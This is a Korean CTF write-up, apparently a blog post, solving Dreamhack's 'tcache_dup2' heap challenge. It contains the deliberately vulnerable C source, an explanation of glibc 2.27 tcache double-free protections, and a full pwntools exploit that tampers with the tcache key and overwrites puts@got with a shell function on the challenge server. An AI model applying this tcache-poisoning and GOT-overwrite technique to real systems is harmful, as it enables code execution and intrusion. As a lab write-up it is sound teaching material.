문제 풀이 환경:구름ide
1. 문제 파일 다운, 환경 분석
문제 파일을 다운 받고 $ chmod +x tcache_dup2
로 실행 권한을 부여했다.
environment
$ checksec tcache_dup2
[*] '/workspace/1804/tcache_dup2/tcache_dup2'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
checksec로 확인해보면 문제에서 주어진 환경과 실제 바이너리 파일의 환경이 다르다.
실제로는 64비트 시스템에 NX, canary, partial RELRO가 적용되어 있다.
2. 코드 분석, 취약점 분석
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
char *ptr[7];
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
}
void create_heap(int idx) {
size_t size;
if (idx >= 7) //idx가 7보다 크거나 같으면 함수 종료
exit(0);
printf("Size: ");
scanf("%ld", &size); //size 입력 받아서
ptr[idx] = malloc(size); //size 크기의 공간 할당 후 ptr[idx]에 주소 저장
if (!ptr[idx]) //ptr[cnt]가 NULL이라면 함수 종료
exit(0);
printf("Data: ");
read(0, ptr[idx], size-1); //ptr[cnt]에 최대 size-1만큼의 입력 받음
}
void modify_heap() {
size_t size, idx;
printf("idx: ");
scanf("%ld", &idx); //idx 입력 받고
if (idx >= 7) //idx가 7보다 크거나 같으면 함수 종료
exit(0);
printf("Size: ");
scanf("%ld", &size); //size 입력 받아서
if (size > 0x10) //size가 0x10보다 크면 함수 종료
exit(0);
printf("Data: ");
read(0, ptr[idx], size); //ptr[idx]에 최대 size만큼의 입력 받음
}
void delete_heap() {
size_t idx;
printf("idx: ");
scanf("%ld", &idx); //idx 입력 받아서
if (idx >= 7) //idx가 7보다 크거나 같으면 함수 종료
exit(0);
if (!ptr[idx]) //ptr[idx]가 NULL이라면 함수 종료
exit(0);
free(ptr[idx]); //ptr[idx] 할당 해제
}
void get_shell() {
system("/bin/sh"); //shell 실행
}
int main() {
int idx;
int i = 0;
initialize();
while (1) { //메뉴
printf("1. Create heap\n");
printf("2. Modify heap\n");
printf("3. Delete heap\n");
printf("> ");
scanf("%d", &idx);
switch (idx) {
case 1:
create_heap(i);
i++;
break;
case 2:
modify_heap();
break;
case 3:
delete_heap();
break;
default:
break;
}
}
}
Parital RERLO에 PIE가 적용되어 있지 않기 때문에 간단하게 함수의 got를 get_shell의 주소로 덮을 수 있다.
double free bug를 활용하여 puts@got를 get_shell로 덮으면 될 것 같다.
아래 문제와 취약점이 유사하니 자세한 취약점 분석은 아래 링크를 참고하면 된다.
드림핵 tcache_dup 문제 풀이
3. 코드 작성 전에 알아야 할 것
(1) 라이브러리 버전에 따른 double free bug 보호 기법
문제에서 주어진 라이브러리는 2.27버전이다.
이 버전에서는 tcache에 double free를 막기 위하여 key를 사용한다.
문제의 refrence에 있는 Heap Allocator2에 설명이 되어있다.
간단하게 요약하면 free가 실행되어 tcache에 chunk가 들어갈 때 chunk의 key 값을 바꾸고,
그 key값으로 chunk가 free되었는지 확인하여 double free bug를 막는 방법이다.
이 key는 chunk에서 fd(8바이트) 바로 뒤에 위치한다.
key를 변조하면 chunk가 재할당되지 않았다고 판단하여 free를 여러번 할 수 있다.
(2) tc_idx
tc_idx는 tcache에 chunk가 몇개 있는지를 나타내는 값이다.
위의 refrence에서 tcache_get 함수를 살펴보자.
static __always_inline void *
tcache_get (size_t tc_idx)
{
tcache_entry *e = tcache->entries[tc_idx];
assert (tc_idx < TCACHE_MAX_BINS);
assert (tcache->entries[tc_idx] > 0);
tcache->entries[tc_idx] = e->next;
--(tcache->counts[tc_idx]);
e->key = NULL;
return (void *) e;
}
위 함수에 assert (tcache->entries[tc_idx] > 0);
라는 부분이 있는데 tc_idx의 값이 0보다 클 때만 실행이 된다.
tc_idx는 tcache에 chunk가 몇개 남았는지 표시하는 인덱스이다.
free가 실행되어 chunk가 할당되면 값이 1증가하고, 재할당 되어 chunk가 없어지면 값이 1 감소한다.
tc_idx가 0보다 커야 tcahce에 있는 chunk를 활용하여 재할당 됨을 기억해야 된다.
(3) got와 key
아무 함수의 got를 overwrite 하려고 하면 익스플로잇에 실패할 수 있다.
나도 처음에 printf의 got를 덮으려고 했으나 실패하여서 이유를 찾아보았다.
pwndbg> got
GOT protection: Partial RELRO | GOT functions: 10
[0x404018] free@GLIBC_2.2.5 -> 0x401030 ◂— endbr64
[0x404020] puts@GLIBC_2.2.5 -> 0x7ffff7a62970 (puts) ◂— push r13
[0x404028] __stack_chk_fail@GLIBC_2.4 -> 0x401050 ◂— endbr64
[0x404030] system@GLIBC_2.2.5 -> 0x401060 ◂— endbr64
[0x404038] printf@GLIBC_2.2.5 -> 0x7ffff7a46e40 (printf) ◂— sub rsp, 0xd8
[0x404040] read@GLIBC_2.2.5 -> 0x401080 ◂— endbr64
[0x404048] malloc@GLIBC_2.2.5 -> 0x401090 ◂— endbr64
[0x404050] setvbuf@GLIBC_2.2.5 -> 0x7ffff7a632a0 (setvbuf) ◂— push r13
[0x404058] __isoc99_scanf@GLIBC_2.7 -> 0x7ffff7a5de70 (__isoc99_scanf) ◂— push rbx
[0x404060] exit@GLIBC_2.2.5 -> 0x4010c0 ◂— endbr64
gdb를 활용하여 printf의 got가 16바이트만큼 할당되어 있고 그 뒤에 read의 got가 있음을 알 수 있다.
코드를 작성해보면 create(malloc)으로 재할당하면서 printf의 got(16바이트)를 get_shell의 주소(16바이트)로 덮게 된다.
이 때 앞서 설명을 참고하면 key 값이 바뀌게 된다.
재할당을 하면 free가 되었다는 표시를 할 필요가 없으므로 e->key = NULL;
로 key값을 NULL로 초기화 해준다.
got 주소를 확인해보면 printf의 got 뒤에 read의 got가 있다.
printf의 got를 get_shell 주소로 덮고 나면 그 뒤의 read가 NULL로 설정되어 오류가 발생할 수 있다.(read가 실행되는 도중 read의 got값이 바뀌어 오류 발생)
그래서 코드의 진행과 큰 관련이 없는 함수의 GOT가 NULL이 되도록 got overwrite를 할 함수를 정해줘야 된다.
아래의 코드에서는 puts를 선택했다.
main을 disassemble 해보면 printf가 실핼될 때 puts@plt로 실행되는 경우가 있음을 알 수 있다.
4. 코드 작성
from pwn import *
p = remote('host3.dreamhack.games', 20327)
e = ELF('./tcache_dup2')
context.arch = 'amd64'
def create(size, data):
p.sendlineafter(b'> ', str(1).encode())
p.sendlineafter(b': ', str(size).encode())
p.sendafter(b': ', data)
def modify(idx, size, data):
p.sendlineafter(b'> ', str(2).encode())
p.sendlineafter(b': ', str(idx).encode())
p.sendlineafter(b': ', str(size).encode())
p.sendafter(b': ', data)
def delete(idx):
p.sendlineafter(b'> ', str(3).encode())
p.sendlineafter(b': ', str(idx).encode())
create(0x50, b'A')
create(0x50, b'B')
delete(0) # tcache : chunk A
delete(1) # tcache : chunk B -> chunk A, t_idx = 2 (t_idx를 미리 증가시켜두기 위한 할당과 free)
create(0x50, b'C') # tcache : chunk A, t_idx = 1
delete(2) # tcache : chunk C -> chunk A, t_idx = 2
modify(2, 0x9, b'CCCCCCCCC') # chunk C의 key 변조
delete(2) # tcahce : chunk C -> chunk C -> chunk A, t_idx = 3
puts_got = e.got['puts'] # puts의 got 주소 구하기
create(0x50, p64(puts_got)) # tcahce : chunk C -> puts@got -> chunk A, t_idx = 2
create(0x50, b'D') # tcache : puts@got -> chunk A, t_idx = 1
get_shell = 0x401530
create(0x50, p64(get_shell)) # puts@got = get_shell
p.interactive()
위의 코드로 쉘을 획득했다.
(생각해보니 처음에 create와 delete를 한 번만 해주어도 될 것 같다.)
'system hacking' 카테고리의 다른 글
드림핵 cmd_center 문제 풀이 (0) | 2024.07.25 |
---|---|
드림핵 sint 문제 풀이 (1) | 2024.07.24 |
드림핵 tcache_dup 문제 풀이 (3) | 2024.07.22 |
드림핵 basic_exploitation_003 문제풀이 (0) | 2024.07.16 |
드림핵 basic_exploitation_002 문제 풀이 (2) | 2024.07.15 |